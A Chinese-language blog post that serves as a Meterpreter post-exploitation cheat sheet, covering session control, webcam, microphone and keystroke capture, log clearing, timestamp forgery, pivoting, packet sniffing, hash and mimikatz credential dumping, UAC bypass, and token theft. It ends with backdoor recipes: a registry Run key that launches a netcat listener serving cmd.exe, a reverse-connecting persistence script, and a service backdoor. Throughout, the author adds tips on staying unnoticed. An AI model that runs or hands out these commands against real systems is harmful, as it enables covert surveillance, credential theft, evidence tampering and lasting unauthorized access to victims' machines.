本文已参与「新人创作礼」活动,一起开启掘金创作之路
一.系统命令
1.快捷操作
此板块用于记录用于操作meterpreter的指令
sessions #查看全部会话 –h 查看帮助
sessions -i <shell ID> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
2.基础系统命令
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
add_user username password -h ip #在远程目标主机上添加一个用户
add_group_user "Domain Admins" username -h ip #将用户添加到目标主机的域管理员组中
3.外设操作
用于操作目标机外设来实现一些迷惑操作
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频,不要开启流,非常容易被抓到
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
record_mic #音频录制
4.隐藏痕迹
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程
clearav #清除windows中的应用程序日志、系统日志、安全日志
5.远程桌面
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接,只可以看
# 不推荐连接远程桌面,非要连用vnc,不要用getgui
run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456 #添加用户
run getgui -f 6661 –e #3389端口转发到6661
# 同样,看看就完了,注册个账号还了得,机主不撅了你
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码
6.获取敏感信息
run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run scraper #获取常见信息
二.文件操作
1.基本操作
逻辑和linux一样
edit <filename> # 调用vi编辑器编辑文件
getwd 或者pwd # 查看当前工作目录
ls
cd
search -f 1.txt # 搜索文件 -h查看帮助
cat c:\lltest\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\lltest # 上传文件到目标机上
download c:\lltest\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\lltest\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #查看本地目录
lcd /tmp #切换本地目录,方便上传,下载等操作
2.伪造访问时间
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
三.网络操作
1.基本操作
ipconfig/ifconfig
netstat –ano #查看防火墙
arp # 查看arp缓存,IP和MAC
getproxy #查看代理信息
route #查看路由
2.端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
3.配置路由
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
或者手动添加
add route 10.10.10.0 255.255.255.0 1
4.配置代理
msf > auxiliary/server/socks_proxy
Name Current Setting Required Description
SRVHOST 127.0.0.1 yes The address to listen on
SRVPORT 9050 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5)
注意,需要配置proxychains
5.抓流量包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
四.信息收集
文件存储位置在这里,可以看一下
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24 # 网段扫描
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389 # 端口扫描
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
1.抓取密码hash
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限
2.网络嗅探
meterpreter > use sniffer # 加载嗅探模块
meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口
meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据
meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探
meterpreter > sniffer_stop 2 #停止嗅探
数据包分析
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
五.提权
getsystem
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask # 上述bypass模块使用后需要使用getsystem实现提权
run post/windows/gather/enum_patches #查看补丁信息
1.内存操作
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
load kiwi # mimikatz 升级版。。。?
六.后门
1.注册表
reg –h # 注册表操作帮助
upload /usr/share/windows-binaries/nc.exe C:\windows\system32 #上传nc
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run #枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C:\Oracle\Middleware\user_projects\domains\base_domain\nc.exe -Ldp 80 -e cmd.exe' #设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc #查看键值
nc -v 192.168.121.131 443 #攻击者连接nc后门
2.假冒身份
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\SYSTEM #不加单引号 需使用\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token
3.窃取身份
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
4.植入自启动后门
在C:Users *** AppDataLocalTemp目录下,上传一个vbs脚本
在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项
run persistence –h #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
由于payload的原因,连接需要用
msf >use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
5.植入服务后门
多少有点显眼了,建议不要用,如果要用建议自定义一下文件名和服务名
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
感谢
@皮皮鲁:xz.aliyun.com/t/2536